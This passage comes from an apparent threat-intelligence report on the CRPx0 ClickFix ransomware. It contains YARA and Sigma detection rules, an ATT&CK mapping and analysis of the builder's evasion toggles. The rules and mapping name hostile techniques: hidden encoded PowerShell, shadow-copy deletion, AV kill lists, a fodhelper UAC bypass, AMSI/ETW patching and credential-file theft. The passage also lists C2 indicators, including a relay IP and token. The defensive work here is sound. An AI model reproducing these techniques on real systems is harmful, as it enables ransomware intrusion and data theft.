        $n1 = "YOUR FILES HAVE BEEN ENCRYPTED" ascii
        $n2 = "RECOVERY ID" ascii
        $n3 = "FREE DECRYPTION AS PROOF" ascii
        $n4 = "military-grade encryption (AES-256 + RSA-2048)" ascii
        $n5 = "Secure Negotiation Room" ascii
        $tox = "17EB54B8455144E088C7E77F88A97221C319F0CFE4FE306853EEB113EE8DB5607BB6EE481C7C" ascii nocase
        $ses = "050546f6719172e04151c31acb37a242fa3eeff5766aa57331d26cc06e83e9e25b" ascii nocase
        $u1 = "crpx0.su" ascii nocase
        $u2 = "kqi5yty6ipuhwz4anutty6hob6et7dvnnxg6kcnulwedjaz5oton2zyd" ascii nocase
        $u3 = "tlxoddx4odmc2qvsmtsbgwwsv5j45osb5sox7mz6izxliuju5mkulzad" ascii nocase
        $u4 = "crpxolx7" ascii nocase
    condition:
        filesize < 1MB
        and (
            (1 of ($b*) and 2 of ($n*))
            or $tox or $ses
            or 2 of ($u*)
        )
}

/* ----------------------------------------------------------------
   macOS delivery
   ---------------------------------------------------------------- */

rule CRPx0_macOS_Dropper
{
    meta:
        description = "CRPx0 macOS bash dropper and pasted Terminal one-liner"
        author      = "Ransom-ISAC Research Team"
        date        = "2026-08-11"
        hash        = "e3191e13e6ff9a1a85d1dcffc4e7a8bdcc12329f8ecf0ad825f8670b0d12c97a"
    strings:
        $r1 = "relay.php?file=sys_core_" ascii
        $r2 = "secret=crpx0_c2_2026" ascii
        $r3 = "207.180.29.236:8080" ascii
        $p1 = "indygreg/python-build-standalone" ascii
        $p2 = "cpython-3.10.13+20240107" ascii
        $p3 = "/tmp/sys_service.py" ascii
        $p4 = "/tmp/py.tar.gz" ascii
    condition:
        filesize < 64KB
        and any of ($r*)
        and 1 of ($p*)
}

Caveats.

  • Static-only provenance. Every string here comes from source or disassembly, not from a detonation. Nothing has been validated against runtime memory or a live infection.
  • FP-test the two bulk rules first. document.write(atob( and a multi-megabyte base64 blob also appear in legitimate offline HTML bundlers and self-contained notebook exports. The size bounds do most of the filtering, so tune them to your estate before enabling CRPx0_ClickFix_HTML_Smuggling_Wrapper and CRPx0_Python_Loader_Packed at scale.
  • CRPx0_Encrypted_File_Header is the durable one. It contains no strings from the sample - only the header layout - so it survives any rebuild that keeps RSA-4096 + Fernet, and it still finds encrypted files if an affiliate changes the .crpx0 extension.
  • The XOR-keyed strings are build-time constants. 0x52 and 0xE0 were fixed for these two builds, but the builder could rotate them. If CRPx0_Loader_DLL stops firing, ExecuteStager plus the mixed-vendor version info are what remain.
  • YARA does not cover the behavioural half. The process-chain, registry and scheduled-task items above - fodhelper.exepython.exe, rundll32 loading WindowsUpdate.log, wmic /node:, the RunMRU write - are EDR and Sigma logic. A file scanner has nothing to match on. The Sigma ruleset below covers them.
  • Nothing here covers the network indicators. Those are the Sigma proxy rule below and the Network-Based list above, where X-Captcha-Track: 1 remains the earliest signal in the whole chain.
  • CRPx0_ClickFix_Builder is contributed and deliberately redundant. It re-covers Stage 1 with a looser condition and no filesize bound, and four of its strings - winupdate_obf, 0x800F081F, __fired and the exact var __pd= spacing - were not corroborated by the recovered samples. Its $b4 is a per-build ID that rotates. Run it alongside the two Stage 1 rules, then tighten or retire it once those strings are confirmed against a fresh sample.

Sigma Rules

YARA matches files; Sigma matches behaviour. Fourteen rules covering the process, registry, file and network events a file scanner cannot see - every phase from the victim's first paste through to self-destruct. Field names follow Sysmon. Listed in file order.

RuleLog sourceFires atLevel
ClickFix clipboard execution (RunMRU)registry_setBefore any payload runshigh
rundll32 loads WindowsUpdate.logprocess_creationStage 2 loadhigh
Loader staging directories in %TEMP%file_eventStage 3 staginghigh
Portable Python runtime bootstrapprocess_creationStage 3 → 4medium
fodhelper ms-settings registry hijackregistry_setPhase 4high
fodhelper elevated child processprocess_creationPhase 4high
Security tooling terminationprocess_creationPhase 7high
Shadow copy and backup destructionprocess_creationPhase 8 - before any file is encryptedhigh
OneDrive-themed scheduled taskprocess_creationPhase 6high
WMI and remote schtasks lateral movementprocess_creationPhase 11medium
cscript VBS self-destructprocess_creationPhase 12medium
Impact artefacts - .crpx0 and ransom notesfile_eventPhase 10, post-encryptioncritical
macOS delivery and LaunchAgent persistencefile_event (macOS)macOS Stage 1 → 4high
C2 beacon and lure telemetryproxyWhole chain; lure telemetry is pre-executioncritical
Full ruleset - crpx0.yml
# CRPx0 / CRPx0 ClickFix ransomware — behavioural detection ruleset
# Ransom-ISAC Research Team, 12 August 2026
#
# Companion to crpx0.yar. YARA matches files; these match behaviour.
# Derived from static analysis only. No sample was executed, so no rule here
# has been validated against live telemetry. Field names follow Sysmon;
# translate for your pipeline and baseline the medium-level rules first.

title: ClickFix Clipboard Execution via Windows Run Dialog
id: 4c1f9a02-7b63-4de5-9d18-0e2a5c7f31bb
status: experimental
description: |
  Detects the RunMRU artefact left behind when a user pastes an attacker-supplied
  command into the Run dialog. This matches the ClickFix delivery technique itself
  rather than CRPx0, and it fires before any payload executes.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.initial-access
  — attack.t1189
  — attack.execution
  — attack.t1204.001
logsource:
  product: windows
  category: registry_set
detection:
  runmru:
    TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU\'
  suspicious_value:
    Details|contains:
      — 'powershell'
      — 'pwsh'
      — 'curl '
      — 'mshta'
      — 'bitsadmin'
      — 'certutil'
      — '-enc'
      — '-w h'
      — '-windowstyle hidden'
      — 'IEX('
      — 'Invoke-Expression'
      — '|bash'
  condition: runmru and suspicious_value
falsepositives:
  — Administrators and developers who legitimately launch shells from the Run
    dialog. Volume outside IT is normally near zero, so baseline per user rather
    than suppressing the rule outright.
level: high

---

title: CRPx0 Stage 2 Stager Loaded by rundll32 as WindowsUpdate.log
id: b70d5e18-2a44-4c93-8f6e-91c3d0a7e254
status: experimental
description: |
  The Windows path saves the Stage 2 stager DLL as WindowsUpdate.log and loads it
  with rundll32. The stager exports no named entry point, so it must be invoked by
  ordinal. A .log file passed to rundll32 is anomalous regardless of the name used.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.defense-evasion
  — attack.t1218.011
logsource:
  product: windows
  category: process_creation
detection:
  rundll32:
    Image|endswith: '\rundll32.exe'
  named_artefact:
    CommandLine|contains: 'WindowsUpdate.log'
  log_as_dll:
    CommandLine|contains: '.log,'
  ordinal_call:
    CommandLine|contains: ',#'
  condition: rundll32 and (named_artefact or log_as_dll or ordinal_call)
falsepositives:
  — Ordinal invocation alone is used by a handful of legitimate installers. The
    named_artefact and log_as_dll branches have no benign equivalent.
level: high

---

title: CRPx0 Loader Staging Directories Created in TEMP
id: 5e8a34c7-91b2-4f60-a7d3-6c02b98ef145
status: experimental
description: |
  Stage 3 (data.dll) picks one of five hardcoded legitimate-sounding directory
  names in %TEMP% to stage the Python runtime and payload. The names are builder
  constants and are identical in both recovered affiliate builds.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.defense-evasion
  — attack.t1036.005
logsource:
  product: windows
  category: file_event
detection:
  staging:
    TargetFilename|contains:
      — '\Low_Graphics_Cache\'
      — '\Sys_Diagnostics\'
      — '\Windows_Driver_Host\'
      — '\Update_Temp_Store\'
      — '\Cache_Sys\'
  condition: staging
falsepositives:
  — None known. None of these five names corresponds to a Microsoft or
    third-party product directory.
level: high

---

title: CRPx0 Portable Python Runtime Bootstrap from TEMP
id: 9d4c7b26-0f81-4a35-b2e9-73a5c1d80fe6
status: experimental
description: |
  Stage 3 downloads the embeddable Python distribution and get-pip.py, then pip
  installs cryptography, requests and pywin32 before the ransomware runs. The ZIP
  is extracted either by tar.exe or through COM Shell.Application — never through
  Expand-Archive — and which route runs first was not established from static
  analysis. Because the COM route produces no child process at all, the pip
  bootstrap is the first process-level signal that is reliable on this path. On
  the standalone DLL and EXE, which import no COM, tar.exe is the only extraction
  route available and a tar.exe child process is itself a signal.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.execution
  — attack.t1059.006
  — attack.command-and-control
  — attack.t1105
logsource:
  product: windows
  category: process_creation
detection:
  interpreter:
    Image|endswith:
      — '\python.exe'
      — '\pythonw.exe'
      — '\pip.exe'
  temp_path:
    Image|contains:
      — '\AppData\Local\Temp\'
      — '\Windows\Temp\'
  pip_payload:
    CommandLine|contains|all:
      — 'install'
      — 'cryptography'
  getpip:
    CommandLine|contains: 'get-pip.py'
  condition: interpreter and temp_path and (pip_payload or getpip)
falsepositives:
  — CI runners and build agents that provision throwaway Python environments
    under TEMP. Exclude those hosts by name rather than by path.
level: medium

---

title: CRPx0 UAC Bypass via fodhelper ms-settings Registry Hijack
id: 1a6f28d9-4c07-4b93-8e51-d20b7ac36f84
status: experimental
description: |
  Phase 4 writes a delegate command under HKCU ms-settings and launches
  fodhelper.exe, which auto-elevates and runs the payload. CRPx0 appends a random
  six-hex suffix to the shell key, so match the key prefix and the leaf rather
  than the literal path.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.privilege-escalation
  — attack.defense-evasion
  — attack.t1548.002
logsource:
  product: windows
  category: registry_set
detection:
  mssettings:
    TargetObject|contains: '\Software\Classes\ms-settings\shell\open'
  command_leaf:
    TargetObject|endswith:
      — '\command'
      — '\DelegateExecute'
  condition: mssettings and command_leaf
falsepositives:
  — None known. No legitimate software writes a delegate command under the
    per-user ms-settings class.
level: high

---

title: CRPx0 Elevated Child Process Spawned by fodhelper
id: 3b90ce41-8d25-42a7-95f0-c46e17b2a908
status: experimental
description: |
  Catches the execution half of the fodhelper bypass in case the registry write is
  missed. CRPx0 deletes its registry keys immediately after fodhelper fires, so on
  a slow or sampled registry channel this may be the only surviving evidence.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.privilege-escalation
  — attack.t1548.002
logsource:
  product: windows
  category: process_creation
detection:
  parent:
    ParentImage|endswith: '\fodhelper.exe'
  child:
    Image|endswith:
      — '\python.exe'
      — '\pythonw.exe'
      — '\cmd.exe'
      — '\powershell.exe'
      — '\pwsh.exe'
      — '\rundll32.exe'
      — '\wscript.exe'
      — '\cscript.exe'
      — '\mshta.exe'
  condition: parent and child
falsepositives:
  — None known. fodhelper.exe has no legitimate reason to spawn a shell or
    script interpreter.
level: high

---

title: CRPx0 Mass Security Tooling Termination and Service Deletion
id: 7c25b04e-6a19-4df8-83b6-05e9f7c1a2d3
status: experimental
description: |
  Phase 7 shuffles its process and service kill lists before iterating, so the
  order varies between runs and any signature keyed on a fixed sequence will miss
  it. Match the vendor names instead and alert on volume. sc delete is the
  destructive step — it removes the service permanently rather than stopping it.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.defense-evasion
  — attack.t1562.001
logsource:
  product: windows
  category: process_creation
detection:
  taskkill:
    Image|endswith: '\taskkill.exe'
    CommandLine|contains|all:
      — '/f'
      — '/im'
  sc_stop_delete:
    Image|endswith: '\sc.exe'
    CommandLine|contains:
      — ' delete '
      — ' stop '
  net_stop:
    Image|endswith: '\net.exe'
    CommandLine|contains: ' stop '
  security_product:
    CommandLine|contains:
      — 'MsMpEng'
      — 'WinDefend'
      — 'WdNisSvc'
      — 'SecurityHealthService'
      — 'MsSense'
      — 'AvastSvc'
      — 'AVGSvc'
      — 'avp.exe'
      — 'kavfs'
      — 'ekrn'
      — 'ccSvcHst'
      — 'rtvscan'
      — 'mcshield'
      — 'mfevtps'
      — 'bdagent'
      — 'SophosFS'
      — 'SavService'
      — 'swi_service'
  condition: 1 of (taskkill, sc_stop_delete, net_stop) and security_product
falsepositives:
  — Endpoint agent upgrades and uninstall routines run by the security team.
    Correlate with your change window. One match is routine; ten in five minutes
    is not.
level: high

---

title: CRPx0 Shadow Copy and Backup Catalogue Destruction
id: 2f81d63a-5b47-4e02-91cc-8a0d34f5e719
status: experimental
description: |
  Phase 8 destroys recovery points before file discovery begins, so this fires
  before a single file is encrypted. It is one of the last points at which the
  incident can still be interrupted. A python.exe or pythonw.exe parent raises
  confidence from likely to near-certain.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.impact
  — attack.t1490
logsource:
  product: windows
  category: process_creation
detection:
  vssadmin:
    Image|endswith: '\vssadmin.exe'
    CommandLine|contains|all:
      — 'delete'
      — 'shadows'
  wmic_shadow:
    Image|endswith: '\WMIC.exe'
    CommandLine|contains|all:
      — 'shadowcopy'
      — 'delete'
  wbadmin:
    Image|endswith: '\wbadmin.exe'
    CommandLine|contains|all:
      — 'delete'
      — 'catalog'
  condition: 1 of them
falsepositives:
  — Backup products pruning their own restore points. Scope out the specific
    parent images your backup vendor uses. Do not scope out the commands.
level: high

---

title: CRPx0 Persistence via OneDrive-Themed Scheduled Task
id: 6d3e9f70-2c58-4a16-b0d4-91f7ce28ab35
status: experimental
description: |
  Phase 6 registers a logon-triggered task named "OneDrive Sync Maintenance" at
  highest privileges. The lateral movement path uses "OneDrive Maintenance" on
  remote hosts. Neither name is used by the real OneDrive client.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.persistence
  — attack.t1053.005
logsource:
  product: windows
  category: process_creation
detection:
  schtasks:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains: '/create'
  crpx0_names:
    CommandLine|contains:
      — 'OneDrive Sync Maintenance'
      — 'OneDrive Maintenance'
  condition: schtasks and crpx0_names
falsepositives:
  — None known. Microsoft registers "OneDrive Standalone Update Task",
    "OneDrive Reporting Task" and "OneDrive Per-Machine Standalone Update Task",
    none of which match these strings.
level: high

---

title: CRPx0 Lateral Movement via WMI and Remote Scheduled Task
id: 8a47c1b5-3e69-40fd-82a1-5b7d0e6f9c24
status: experimental
description: |
  Phase 11 copies the payload to C$\Windows\Temp on reachable hosts and executes
  it with wmic process call create, falling back to a remote scheduled task if WMI
  fails and to a GPO SYSVOL startup script if neither works.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.lateral-movement
  — attack.t1021.002
  — attack.t1047
  — attack.t1570
logsource:
  product: windows
  category: process_creation
detection:
  wmic_remote:
    Image|endswith: '\WMIC.exe'
    CommandLine|contains|all:
      — '/node:'
      — 'process call create'
  schtasks_remote:
    Image|endswith: '\schtasks.exe'
    CommandLine|contains|all:
      — '/create'
      — '/s '
      — '/ru'
  admin_share_copy:
    CommandLine|contains|all:
      — 'C$\Windows\Temp'
      — 'copy'
  condition: 1 of them
falsepositives:
  — Legitimate remote administration, SCCM and software deployment tooling.
    Restrict to source hosts that are not management servers, or pair this with
    the backup destruction rule above before alerting.
level: medium

---

title: CRPx0 Self-Destruct via cscript VBS Dropper in TEMP
id: c05b7e93-1d42-4867-9fa0-2e638b4c17d5
status: experimental
description: |
  Phase 12 writes a VBS script to %TEMP% that sleeps three seconds, truncates
  every file in the payload directory to a single space, deletes the directory,
  then deletes itself. VBScript is chosen deliberately because AMSI coverage of
  cscript.exe is weaker than of PowerShell.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.defense-evasion
  — attack.t1070.004
  — attack.t1059.005
logsource:
  product: windows
  category: process_creation
detection:
  cscript:
    Image|endswith: '\cscript.exe'
  quiet_flags:
    CommandLine|contains|all:
      — '//NoLogo'
      — '//B'
  temp_vbs:
    CommandLine|contains: '\upd_'
  condition: cscript and quiet_flags and temp_vbs
falsepositives:
  — Legacy in-house VBScript automation invoked with //NoLogo //B. The \upd_
    prefix narrows this considerably; drop that selection only if you accept the
    extra volume.
level: medium

---

title: CRPx0 Impact Artefacts — Encrypted Files and Ransom Notes
id: e19d4a68-7b03-4c25-a6f8-30c9d5e2718b
status: experimental
description: |
  Post-encryption confirmation, not early warning. By the time this fires the data
  has already been exfiltrated and the backups are gone. Use it to scope blast
  radius, not to prevent the incident.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.impact
  — attack.t1486
logsource:
  product: windows
  category: file_event
detection:
  extension:
    TargetFilename|endswith: '.crpx0'
  notes:
    TargetFilename|endswith:
      — '\HOW TO RECOVER.txt'
      — '\HOW TO RECOVER.html'
  operational:
    TargetFilename|endswith: '\crpx0_debug.log'
  exfil_archive:
    TargetFilename|re: 'data_[0-9a-f]{6}_OP_[0-9]{10}\.zip'
  condition: 1 of them
falsepositives:
  — None expected for the extension and note selections. The exfil_archive
    selection matches the structural pattern rather than the affiliate 1 literal
    data_fe7e3a_OP_, so it survives a rebuild. If your backend does not support
    the Sigma re modifier, fall back to TargetFilename|startswith 'data_'
    combined with TargetFilename|endswith '.zip' and accept the extra volume.
level: critical

---

title: CRPx0 macOS Delivery and LaunchAgent Persistence
id: 4f7a2c18-9e56-43b0-8d71-a2c50e938f46
status: experimental
description: |
  The macOS path skips the DLL chain entirely. A pasted curl one-liner fetches a
  portable CPython build from GitHub and the payload from the relay, then persists
  through a LaunchAgent masquerading as an Apple sync service.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.execution
  — attack.persistence
  — attack.t1543.001
  — attack.t1204.001
logsource:
  product: macos
  category: file_event
detection:
  staging:
    TargetFilename:
      — '/tmp/sys_service.py'
      — '/tmp/py.tar.gz'
  launchagent:
    TargetFilename|endswith: '/Library/LaunchAgents/com.apple.sync.plist'
  selfdestruct:
    TargetFilename|contains: '/tmp/sd_'
  condition: 1 of them
falsepositives:
  — None known. Apple does not ship a LaunchAgent named com.apple.sync in a user
    Library directory.
level: high

---

title: CRPx0 C2 Beacon and ClickFix Lure Telemetry
id: 0b6c8d35-4a71-49e2-bf83-17d62e05ca97
status: experimental
description: |
  Covers all four request types that reach relay.php. X-Captcha-Track fires when a
  device merely renders the lure page, which makes it the earliest indicator in
  the chain and the only pre-execution one. The Bearer token and CrpxBoundary
  appear only once the ransomware is already running.
references:
  — Ransom-ISAC — CRPx0 ClickFix Ransomware Analysis
author: Ransom-ISAC Research Team
date: 2026/08/12
tags:
  — attack.command-and-control
  — attack.t1071.001
  — attack.exfiltration
  — attack.t1041
logsource:
  category: proxy
detection:
  relay_host:
    cs-host|contains: '207.180.29.236'
  leaksite:
    cs-host|contains:
      — 'crpx0.su'
      — 'crpxolx7.onion'
  relay_path:
    c-uri|contains: '/relay.php'
  payload_fetch:
    c-uri|contains|all:
      — 'file=sys_core_'
      — 'secret=crpx0_c2_2026'
  headers:
    cs-header|contains:
      — 'Bearer crpx0_c2_2026'
      — 'X-Captcha-Track'
      — 'X-OP-ID: OP_'
      — 'CrpxBoundary'
  geoip_probe:
    cs-user-agent|contains: 'curl/7.64.1'
  geoip_dest:
    cs-host|contains:
      — 'ip-api.com'
      — 'ipinfo.io'
  condition: 1 of (relay_host, leaksite, relay_path, payload_fetch, headers) or (geoip_probe and geoip_dest)
falsepositives:
  — relay.php is a generic filename and will appear on unrelated sites. Pair it
    with relay_host if that is noisy in your estate.
  — cs-header is not a standard Sigma proxy field. If your proxy does not log
    request headers the headers selection will never match; keep the URI and host
    selections and move the header strings into an IDS rule instead.
  — The relay IP and the crpx0_c2_2026 token will be rotated after publication.
    The header names and the URI structure are the durable parts.
level: critical

Deployment notes.

  • Nothing here has been validated against telemetry. Every rule was written from source and disassembly. No sample was executed, so no rule has ever fired on real data. Treat the whole set as status: experimental until you have run it against a week of your own logs.
  • The RunMRU rule is the one to deploy today. It is technique-level rather than CRPx0-specific, it fires before any payload executes, and it catches every other ClickFix operator as well. Paired with the NoRun policy from What Defenders Should Do, the delivery mechanism stops working outright.
  • The standalone DLL and EXE have no Stage 1, so the RunMRU rule will never fire on them. On that path the earliest process-level signal is the portable Python runtime bootstrap rule - which is medium and needs baselining, so baseline it now rather than during an incident. The staging-directory, fodhelper, security-tooling, backup-destruction, scheduled-task, lateral-movement and C2 rules all still apply unchanged.
  • Deploy in tiers. The two critical rules are confirmation, not prevention - by the time they fire the data has left. The high rules catch the attack in progress. The three medium rules overlap with normal administration and need baselining first.
  • Field names are Sysmon - TargetObject, Details, TargetFilename, Image, ParentImage, CommandLine. Defender for Endpoint, CrowdStrike and Elastic each name these differently; translate rather than deploying as-is.
  • What survives a rebuild. The staging directory names, AV kill lists, task names, ms-settings hijack and backup commands are compiled into the payload, not generated per build, so those rules should keep firing against new samples. The relay IP and the auth token will not. The exfil archive is a middle case: the data_fe7e3a_OP_ literal changes with every build, but the data_<hex6>_OP_<10 digits>.zip structure does not, which is why the impact rule matches it with a regex rather than a fixed prefix.

MITRE ATT&CK Mapping

TacticTechniqueIDEvidence from Sample
Initial AccessDrive-by Compromise (ClickFix)T1189document.write(atob(...)) decodes social engineering page; OS-specific clipboard hijack
ExecutionUser Execution: Malicious LinkT1204.001Victim pastes clipboard via Win+R (Windows) or Cmd+V in Terminal (macOS) following fake verification steps
ExecutionUser Execution: Malicious FileT1204.002Standalone EXE sys_555de185.exe - GUI subsystem, no console window; delivered as a phishing attachment or trojanised installer with no lure page at all
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001powershell -w h -enc [base64] - hidden window; encoded command downloads the stager DLL and saves it as WindowsUpdate.log
ExecutionCommand and Scripting Interpreter: PythonT1059.006Final payload is sys_service.py (1,769 lines); macOS path downloads standalone Python 3.10.13 to execute it
ExecutionWindows Management InstrumentationT1047wmic process call create in domain_encrypt_network() line 1040 for lateral execution
ExecutionScheduled Task/JobT1053.005schtasks /create /s {host} in lateral movement to execute payload on remote hosts
PersistenceScheduled Task/JobT1053.005establish_persistence() line 579: schtasks /create /tn "OneDrive Sync Maintenance" /sc ONLOGON
PersistenceBoot or Logon Autostart (LaunchAgent)T1543.001~/Library/LaunchAgents/com.apple.sync.plist with RunAtLoad: true in establish_persistence()
Privilege EscalationBypass UAC (fodhelper)T1548.002uac_bypass() line 972: writes HKCU\Software\Classes\ms-settings\Shell\Open\command then launches fodhelper.exe
Defense EvasionObfuscated Files or InformationT10274 layers: XOR+ROL+NOT (DLL stager), XOR 0x52 (config), XOR 0xE0 (bootstrap at 0x260), chr() import hiding
Defense EvasionDeobfuscate/Decode FilesT1140dx() XOR-decodes config at runtime using XOR_KEY = b'78f2627f...'; _init_crypto() Fernet-decrypts the key itself
Defense EvasionHTML SmugglingT1027.006Outer HTML is single line: document.write(atob('...')) - entire 5.3 MB page base64-encoded
Defense EvasionDisable or Modify Tools (AMSI / ETW / EDR hooks)T1562.001patch_amsi() L286: patches AmsiScanBuffer (XOR key 254); patch_etw() L311: patches EtwEventWrite (XOR key 42); unhook_ntdll() L253: reads a clean ntdll.dll from disk and overwrites the in-memory .text section to strip EDR hooks
Defense EvasionIndicator Removal: File DeletionT1070.004self_destruct() L1000: VBS script overwrites own file with random bytes then deletes (bypasses AMSI)
Defense EvasionVirtualization/Sandbox EvasionT1497check_sandbox() L106: GetTickCount64 timing; check_environment() L213: VM MAC prefixes, sandbox usernames, CPU count
Defense EvasionProcess InjectionT1055inject_into_explorer(): CreateRemoteThread into explorer.exe to break the parent-child process chain. Listed in Anti-Analysis / Evasion Techniques but not placed in any of the twelve execution phases, so the point at which it is invoked was not established
Defense EvasionMasqueradingT1036data.dll .rsrc: fake version info mixing 3 vendors - Oracle (CompanyName), Microsoft (FileDescription), Intel (ProductName); task name "OneDrive Sync Maintenance"
Defense EvasionHijack Execution Flow: DLLT1574.001Standalone DLL sys_260a35b4.dll is built for sideloading into a vulnerable host application; exports the six crypto globals and runs the full loader chain in-process with no second PE on disk
Credential AccessCredentials from Password StoresT1555stage1_5_collect_samples() L721 high_value_exts: .kdbx (KeePass database) and .keychain (macOS Keychain) are collected and exfiltrated before encryption begins
Credential AccessUnsecured Credentials: Credentials In FilesT1552.001The same routine targets .pem, .pfx, .p12, .key and .keystore (private keys, certificates, Java keystores), .env (application secrets) and .ovpn (VPN profiles), plus a 32-term credential keyword list
DiscoverySystem Information DiscoveryT1082platform.system(), os.name, uname -m (macOS dropper) for OS/arch detection throughout all phases
DiscoverySecurity Software DiscoveryT1518.001kill_av_edr() L941: iterates KILL_AV_PROCESSES list with tasklist /FI "IMAGENAME eq ..." checks
DiscoveryFile and Directory DiscoveryT1083stage1_scan() L640: recursive os.walk() full-disk file discovery with extension-based targeting and exclusion dirs
DiscoveryDomain Trust DiscoveryT1482domain_encrypt_network() L1040: nltest /domain_trusts and net view /domain for domain enumeration
CollectionData from Local SystemT1005stage1_5_collect_samples() L721: 5 random docs + 10 high-value files, zipped and chunked multipart upload to C2
CollectionClipboard DataT1115silentCopy() / navigator.clipboard.writeText() in ClickFix HTML - hijacks clipboard with OS-specific payload command
ExfiltrationExfiltration Over C2 ChannelT1041send_to_remote() L516: JSON POST with Authorization: Bearer crpx0_c2_2026, rotating UAs, clearnet then Tor fallback
ImpactData Encrypted for ImpactT1486stage2_encrypt() L1256: Fernet.generate_key() per victim, RSA-4096 OAEP key wrapping, ThreadPoolExecutor - junk I/O
ImpactInhibit System RecoveryT1490remove_backups() L601: vssadmin delete shadows, wmic shadowcopy delete, wbadmin delete catalog (Win); tmutil delete (Mac)
ImpactDefacement: Internal (Wallpaper)T1491.001set_wallpaper() L561: decodes BACKGROUND_B64 (1536x1024 PNG), sets via SystemParametersInfoW / osascript / gsettings
Lateral MovementRemote Services: SMB/Windows Admin SharesT1021.002domain_encrypt_network(): UNC path enumeration and encryption of files on \\host\share network shares
Lateral MovementLateral Tool TransferT15706-stage lateral: domain recon, UNC encryption, WMI remote exec, schtasks /create /s, GPO SYSVOL drop, SSH propagation

Builder / RaaS Indicators

The Python source contains multiple comments referencing a builder tool:

  • OPERATION_ID = 'OP_1785331224' # Placeholder for builder
  • ETW_PATCH_KEY = 42 # Placeholder replaced by builder per-infection
  • Builder PHP endpoint: builder.php (referenced in HTML page)
  • Affiliate tracking: affiliate_id parameter in C2 beacons
  • Affiliate ID compiled into the binary: internal name affiliate_20sys_e56dad8b.dll on the standalone DLL - the only recovered artefact that carries the affiliate ID in the file itself rather than in a beacon field or a panel username
  • Operation tracking: opid parameter in ClickFix page

This confirms CRPx0 operates as a ransomware-as-a-service platform with:

  • Per-affiliate operation IDs
  • Builder-generated unique encryption keys
  • Affiliate tracking in C2 communications
  • Customizable campaign parameters

Builder Toggle → Function Mapping

Each of the builder’s 17 evasion toggles maps directly to runtime functions in sys_service.py or build-time transformations on the DLL stager:

Builder ToggleFunctionMechanism
Anti-Debuggingcheck_debugger() - check_ntdebug()IsDebuggerPresent, NtQueryInformationProcess
Anti-Sandboxcheck_sandbox()GetTickCount timing, execution speed loop
API Floodingcheck_api_flood()50K mixed API calls as noise
Environmental Checkscheck_environment()VM MACs, sandbox files, hostname blacklist, VM drivers, CPU count
Intermittent Encryption (builder label; functionally partial/header encryption)stage2_encrypt() partial modeOnly the first 1 MB per file is encrypted; the remainder is written back in cleartext
AMSI Patchingpatch_amsi()Patches AmsiScanBuffer (XOR key 254)
ETW Patchingpatch_etw()Patches EtwEventWrite (XOR key 42)
API Unhookingunhook_ntdll()Reads clean ntdll.dll from disk, overwrites .text
VSS Destructionstage1_scan() backup removalvssadmin, wmic shadowcopy, wbadmin
Lateral Movementdomain_encrypt_network()UNC shares, WMI, schtasks, /24 sweep
API Hammeringapi_hammering()1M GetCurrentProcessId + math calls
HW Breakpoint Detectioncheck_hardware_breakpoints()GetThreadContext checking DR0-DR3
Stealth Sleepstealth_sleep()WaitableTimers instead of Sleep()
Mutexensure_single_instance()CreateMutexW / fcntl
Custom Packer*Build-time*XOR-encrypted C loader stub wrapping PE
Digital Signature*Build-time*Self-signed Microsoft cert via osslsigncode
PE Metadata Spoofing*Build-time (not universal)*Mixed-vendor version info via .rc resource. Present in Stage 3 data.dll, but absent from both standalone builds, which carry no .rsrc section at all - so the panel's "always on" presentation does not hold across output formats

The last three operate at build time on the DLL stager. All others generate conditional code blocks in sys_service.py included or excluded based on toggle state.

Companion Research - Reconciling the Two Accounts

Ransom-ISAC's Rakesh Krishnan published CRPx0 - Scammer Turned Ransomware Operator on The Raven File, 03 August 2026 - an independent investigation into the same operation, flagged in the callout at the top of this report. With the technical body now behind you, this section sets out what his account adds, where the two disagree, and what those disagreements imply for detection.

What the Raven File covers that this report does not

  • The operator's pre-ransomware history. A Flash USDT "flash token" money-laundering scam at flash-token.shop, registered 11 March 2026 - three months before the RaaS launch - tied to CRPx0 by a shared Tox ID, the same 17EB54B8… value that appears in the ransom note analysed here. A Self-XSS "wallet glitch" paste scam and a DataBreachPlus Telegram channel sit in the same cluster. The operator did not start as a ransomware actor; they graduated into it from crypto fraud.
  • Domain and registrar analysis. crpx0.su registered 14 June 2026 via REGRU-SU, a non-compliant Russian registrar also abused by INC Ransom; crpxoxo.pw registered 13 July 2026; plus a repurposed 2021-vintage domain hosting a panel instance.
  • De-Cloudflared backend IPs. 23.224.4.114 through 23.224.4.118, all on AS40065 (CNSERVERS LLC) - an entirely different host set from the 207.180.29.236 relay documented here, and a second infrastructure pivot worth running alongside those in Appendix A - Infrastructure Pivots.
